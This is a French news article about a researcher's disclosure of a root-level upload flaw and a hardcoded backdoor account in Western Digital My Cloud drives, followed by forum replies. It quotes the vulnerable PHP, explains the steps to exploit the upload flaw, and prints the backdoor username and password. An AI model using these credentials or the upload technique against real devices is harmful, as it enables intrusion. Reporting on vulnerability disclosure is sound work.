Un chercheur découvre une porte dérobée dans les dispositifs My Cloud de Western Digital
Permettant à n'importe qui de s'y connecter

Le , par Stéphane le calme, Chroniqueur Actualités
Le chercheur en sécurité James Bercegay a publié les détails de failles présentes sur certains disques durs de la gamme My Cloud de Western Digital que l’entreprise présente comme étant « un appareil de stockage dans le cloud personnel vous permettant d'organiser vos photos et vos vidéos ». Le dispositif peut donc être utilisé à la fois par des individus comme par des entreprises. Une actualité très importante étant donné que le produit fait fureur sur les sites de ventes comme Amazon.

Pour être plus précis, le chercheur a évoqué des failles « telles que l'exécution de code racine distante pre auth, ainsi qu'un compte d'administrateur de porte dérobée codé en dur qui ne peut PAS être changé. »

Le périphérique WDMyCloud est vulnérable à un téléchargement de fichiers sans restriction dans le fichier suivant :

/usr/local/modules/web/pages/jquery/uploader/multi_uploadify.php

Comme le souligne le chercheur, la racine du problème ici est due à l'abus et à l'incompréhension de la fonction PHP gethostbyaddr () utilisée dans PHP, par le développeur de cette portion de code particulier. À partir du manuel PHP cette fonction renvoie des valeurs qui sont définies comme suit pour gethostbyaddr () : « Renvoie le nom d'hôte en cas de succès, l'adresse IP non modifiée en cas d'échec, ou FALSE sur une entrée mal formée. »

Analyse du code vulnérable multi_uploadify.php

Le chercheur a mis l’emphase sur les portions du script qui sont problématiques, prenant le soin d’omettre le reste pour des raisons de brièveté.

1. Ici, l'en-tête « Host » contrôlé par l'attaquant est utilisé pour définir un serveur d'authentification distant. C'est en soi vraiment mauvais, étant donné qu’un attaquant pourrait facilement spécifier simplement que l'hôte soit l'adresse IP d'un serveur dont il a le contrôle. Cependant, si nous lui envoyons un en-tête « Host » invalide, il va simplement renvoyer FALSE comme défini dans le manuel de PHP.

Code PHP : Sélectionner tout
1
2
3
4
5
6
7
8
$ip = gethostbyaddr($_SERVER['HTTP_HOST']); 
$name = $_REQUEST['name']; 
$pwd = $_REQUEST['pwd']; 
$redirect_uri =  $_REQUEST['redirect_uri'];  
  
//echo $name ." 
".$pwd." 
".$ip;

2. À ce stade, cette demande devrait toujours échouer. La variable $result devrait maintenant être réglée sur FALSE.

Code PHP : Sélectionner tout
1
2
$result = @stripslashes( @join( @file( "http://".$ip."/mydlink/mydlink.cgi? 
cmd=1&name=".$name."=&pwd=".$pwd ),"" ));

3. Ici, une pile vide est recherchée, et donc strstr () renvoie une valeur FALSE.
Code PHP : Sélectionner tout
1
2
$result_1 = strstr($result,"0"); 
$result_1 = substr ($result_1, 0,28);

4. L'appel de strncmp () ici est étrange. Il semble chercher une erreur spécifique d'authentification. Donc, il ne rend jamais compte quand les choses vont mal ou se passe de façon légèrement inattendue. Par conséquent, cette instruction « if » sera toujours ignorée.

Code PHP : Sélectionner tout
1
2
3
4
5
6
7
if (strncmp ($result_1,"0",28) == 0 ) 
//if (strstr($result,"0")== 0 ) 
{ 
    header("HTTP/1.1 302 Found"); 
  header("Location: ".$redirect_uri."?status=0"); 
  exit();    
}

5. À ce stade, toutes les vérifications ont été passées, et un attaquant peut utiliser ce problème pour télécharger n'importe quel fichier sur le serveur de son choix.

« Exploiter ce problème pour gagner l’accès à un shell distant en tant que root est plutôt un processus trivial. Tout ce que l'attaquant doit faire est d'envoyer une requête POST contenant un fichier à télécharger en utilisant le paramètre "Filedata [0]", un emplacement pour que le fichier soit téléchargé spécifié dans le paramètre "folder", et, bien entendu, un en-tête "Host" bidon », a prévenu le chercheur.

Porte dérobée

Après avoir découvert la vulnérabilité précédente, le chercheur s’est laissé aller à la rétro-ingénierie des binaires CGI (des exécutables Linux ELF standard) qui étaient accessibles sur l’interface Web. Il s’est notamment intéressé aux fichiers de cette adresse.

/usr/local/modules/cgi/nas_sharing.cgi

Ci-dessous, le pseudo-code créé suite au désassemblage du binaire. Le chercheur a nommé la fonction “re_BACKDOOR” pour qu’elle soit plus facilement identifiable visuellement.

Code PHP : Sélectionner tout
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
struct passwd *__fastcall re_BACKDOOR(const char *a1, const char *a2) 
{ 
  const char *v2; // r5@1 
  const char *v3; // r4@1 
  struct passwd *result; // r0@4 
  FILE *v5; // r6@5 
  struct passwd *v6; // r5@7 
  const char *v7; // r0@9 
  size_t v8; // r0@10 
  int v9; // [sp+0h] [bp-1090h]@1 
  char s; // [sp+1000h] [bp-90h]@1 
  char dest; // [sp+1040h] [bp-50h]@1 
  
  v2 = a2; 
  v3 = a1; 
  memset(&s, 0, 0x40u); 
  memset(&dest, 0, 0x40u); 
  memset(&v9, 0, 0x1000u); 
  if ( *v2 ) 
  { 
    v8 = strlen(v2); 
    _b64_pton(v2, (u_char *)&v9, v8); 
    if ( dword_2C2E4 ) 
    { 
      sub_1194C((const char *)&unk_1B1A4, v2); 
      sub_1194C("pwd decode[%s]\n", &v9); 
    } 
  } 
  if (!strcmp(v3, "mydlinkBRionyg")  
  &&  !strcmp((const char *)&v9, "abc12345cba") ) 
  { 
    result = (struct passwd *)1; 
  } 
  else 
  { 
    v5 = (FILE *)fopen64("/etc/shadow", "r"); 
    while ( 1 ) 
    { 
      result = fgetpwent(v5); 
      v6 = result; 
      if ( !result ) 
        break; 
      if ( !strcmp(result->pw_name, v3) ) 
      { 
        strcpy(&s, v6->pw_passwd); 
        fclose(v5); 
        strcpy(&dest, (const char *)&v9); 
        v7 = (const char *)sub_1603C(&dest, &s); 
        return (struct passwd *)(strcmp(v7, &s) == 0); 
      } 
    } 
  } 
  return result; 
}

« Comme vous pouvez le voir dans le code ci-dessus, la fonctionnalité de connexion spécifiquement recherche un utilisateur admin nommé "mydlinkBRionyg" et accepte le mot de passe "abc12345cba" trouvé. C'est une porte dérobée classique. Connectez-vous simplement avec les informations d'identification que je viens de mentionner à partir du code ci-dessus », a noté le chercheur.

En clair, elle est assez simple à exploiter puisque n'importe qui peut ainsi s'identifier sur les disques de la marque connectés à Internet ou sur un réseau local avec l'identifiant « mydlinkBRionyg » et le mot de passe « abc12345cba ».

« La facilité d’exploitation de ces problèmes les rend très dangereux. De plus, les utilisateurs verrouillés sur un réseau local ne sont pas épargnés non plus. Un attaquant pourrait littéralement s’emparer de votre WDMyCloud en vous faisant visiter un site Web dans lequel un tag iframe ou img intégré fait une requête pointant vers le périphérique vulnérable en utilisant l'un des nombreux noms d'hôtes par défaut prévisibles pour le WDMyCloud tel que "wdmycloud" et "wdmycloudmirror" etc.



« Par exemple, simplement visiter le lien ci-dessus va détruire complètement un WDMyCloud sans avoir besoin d'aucun type d'authentification, et il n’y a rien que vous puissiez faire à ce sujet en dehors de supprimer le fichier étant donné que les informations d'identification sont codées en dur dans le binaire lui-même. »

Le chercheur a également trouvé d’autres failles en dehors de ces deux là (injection de commande, falsification de requête intersite, déni de service). Il a assuré avoir contacté Western Digital depuis le 10 juin 2017. Le 16 juin 2017, l’entreprise lui a demandé un délai standard de 90 jours pour y remédier avant de publier le résultat de ses recherches. C’est le 28 novembre 2017 qu’elle a publié un correctif dans la version 2.30.174 de son firmware. Cependant, le chercheur avoue ne pas l’avoir testée pour le moment et indique que certains utilisateurs ont indiqué que certaines vulnérabilités n’ont pas été corrigées.

Source : billet GulfTech

Et vous ?

Utilisez-vous ce dispositif ? Avez-vous effectué la mise à jour ?
Si oui, avez-vous constaté que certains des problèmes décrits par le chercheur persistent ?


Vous avez aimé cette actualité ? Alors partagez-la avec vos amis en cliquant sur les boutons ci-dessous :


 Poster une réponse Signaler un problème

Avatar de rawsrc rawsrc - Modérateur https://www.developpez.com
le 10/01/2018 à 10:28
Citation Envoyé par Stéphane le calme Voir le message
Après avoir découvert la vulnérabilité précédente, le chercheur s’est laissé aller à la rétro-ingénierie des binaires CGI (des exécutables Linux ELF standard)
J'adore
Ouais moi aussi tout pareil : quand j'ai 5 minutes, je me laisse aller à dépiauter des binaires. Pas vous ?
Avatar de Anselme45 Anselme45 - Membre éclairé https://www.developpez.com
le 10/01/2018 à 12:54
Citation Envoyé par rawsrc Voir le message
J'adore
Ouais moi aussi tout pareil : quand j'ai 5 minutes, je me laisse aller à dépiauter des binaires. Pas vous ?
Le moins que l'on puisse dire est que votre commentaire est particulièrement déplacé!

Alors que l'on annonce, une fois de plus, qu'un système, utilisé par de très nombreux privés et PME pour sauvegarder leurs données, est en fait un système "vérolé" par un backdoor et par des failles de sécurité béantes, venir avec votre commentaire laisse songeur!

Que soit loué ce mec qui a "dépiauté des binaires" pour mettre ce fournisseur devant ses responsabilités.

Si vous avez 5 minutes, parlez de ces failles à votre entourage... Plus le monde en parle, plus le fournisseur sera poussé à proposer des correctifs

Vos 5 minutes auront ainsi été mieux investi que dans l'écriture de commentaires sans intérêt
Avatar de transgohan transgohan - Expert éminent https://www.developpez.com
le 10/01/2018 à 13:59
Et moi qui comptait réinvestir dans un WD (mon WD de 1To est non reconnu par Windows 10 et WD et Microsoft se renvoient la balle depuis 2ans il semblerait, du coup obligé de l'utiliser en le branchant sur la box...) je vais peut être chercher un concurrent...
Avatar de Zirak Zirak - Inactif https://www.developpez.com
le 10/01/2018 à 14:21
Citation Envoyé par Anselme45 Voir le message
Le moins que l'on puisse dire est que votre commentaire est particulièrement déplacé!
Un peu comme le tien quoi ?

Je ne vois pas en quoi son commentaire est déplacé ?

Car la tournure de phrase employée par l'auteur de l'article l'a faite rire et qu'il le dit, c'est déplacé ?

C'est juste une backdoor de plus, pas la fin du monde non plus, il faut se détendre, on ne va pas tous mourir car rawsrc ne cours pas dans la rue pour prévenir la population de cette catastrophe.
Avatar de Anselme45 Anselme45 - Membre éclairé https://www.developpez.com
le 10/01/2018 à 14:39
Citation Envoyé par Zirak Voir le message


C'est juste une backdoor de plus, pas la fin du monde non plus, il faut se détendre, on ne va pas tous mourir car rawsrc ne cours pas dans la rue pour prévenir la population de cette catastrophe.
J'ai un scoop pour toi: Les hackers de tous poils ne trouvent pas le détail des failles qu'ils peuvent exploiter dans les rues!!! Alors mon petit agneau... Dort bien... Tonton loup s'occupe de toi!
Avatar de Zirak Zirak - Inactif https://www.developpez.com
le 10/01/2018 à 14:47
Citation Envoyé par Anselme45 Voir le message
J'ai un scoop pour toi: Les hackers de tous poils ne trouvent pas le détail des failles qu'ils peuvent exploiter dans les rues!!! Alors mon petit agneau... Dort bien... Tonton loup s'occupe de toi!
Et ?

Ca n'explique toujours pas en quoi son commentaire était déplacé ?

En tous cas, je ne vois strictement pas là où tu veux en venir avec cette phrase...
Avatar de Anselme45 Anselme45 - Membre éclairé https://www.developpez.com
le 10/01/2018 à 14:52
Citation Envoyé par transgohan Voir le message
Et moi qui comptait réinvestir dans un WD (mon WD de 1To est non reconnu par Windows 10 et WD et Microsoft se renvoient la balle depuis 2ans il semblerait, du coup obligé de l'utiliser en le branchant sur la box...) je vais peut être chercher un concurrent...
Et qu'est-ce qui te prouve que la matériel du concurrent n'a pas le même genre de problème?

Une fois de plus, une seule règle fait loi: Si tu veux protéger un système, il ne doit pas être connecté à internet!

Ce qui dans le cas d'un "myCloud" se résume donc à un truc pas drôle du tout et ennuyeux à l'usage:

1. Ton myCloud doit avoir son propre réseau ethernet qui n'est pas connecté à internet

2. Quand tu veux accéder à ton myCloud à partir d'un PC, tu déconnectes ton PC de l'internet et tu branches "religieusement" ton PC au réseau interne sur lequel se trouve ton myCloud

3. Et surtout tu n'oublies pas de te déconnecter "physiquement" du réseau myCloud avant de te reconnecter à internet

Ah? J'entends déjà les commentaires des "grands connaisseurs ès réseau" avec des "mais qu'est-ce que c'est que cette conn...?", "on peut mettre en place une DMZ", "Ajouter des règles aux firewall" et autre "blabla"

Ouais! Mais cela n'assurera en rien la sécurité des données en question... Il y a déjà eu de nombreuses failles de sécurité annoncées sur des produits de Cisco, Zyxel et autres fournisseurs d'équipements devant sécuriser l'accès aux réseaux
Avatar de Zirak Zirak - Inactif https://www.developpez.com
le 10/01/2018 à 15:09
Citation Envoyé par Anselme45 Voir le message

Ouais! Mais cela n'assurera en rien la sécurité des données en question... Il y a déjà eu de nombreuses failles de sécurité annoncées sur des produits de Cisco, Zyxel et autres fournisseurs d'équipements devant sécuriser l'accès aux réseaux
Tout comme il y a des failles sur les puces intel, amd et autres, au final, même ton pc lui-même n'est pas sauf.

Si tu ne veux jamais avoir des problèmes avec tes données, bah la seule solution, c'est de ne pas en avoir. Sinon, quelque soit la solution choisie (informatique ou non), tes données courent un risque.

Et donc, en quoi il était déplacé son commentaire monsieur le grand spécialiste / connaisseur ?
Avatar de transgohan transgohan - Expert éminent https://www.developpez.com
le 10/01/2018 à 17:42
Citation Envoyé par Anselme45 Voir le message
Et qu'est-ce qui te prouve que la matériel du concurrent n'a pas le même genre de problème?
Rien du tout, mais au moins je sais que WD a des experts en sécurité qui craignent et ça n'engage pas à acheter chez eux.
Dans l'absolu jamais je n'aurai acheté un DD connecté à internet de manière...
Avatar de joublie joublie - Membre confirmé https://www.developpez.com
le 11/01/2018 à 2:42
Et qu'est-ce qui te prouve que le matériel du concurrent n'a pas le même genre de problème?
Cette réaction est assez stupéfiante : mieux vaut se baser sur des preuves (en l'espèce le travail réalisé sur certains disques de WD) que sur des hypothèses imaginaires à n'en plus finir sur tout le reste, non ?
Sans verser dans la naïveté de croire que parce qu'aucune faille n'a été découverte dans un certain produit c'est parce qu'il n'en contient pas (ce serait même de la sottise), ça évite au moins de finir paranoïaque ou obsessionnel...
Contacter le responsable de la rubrique Accueil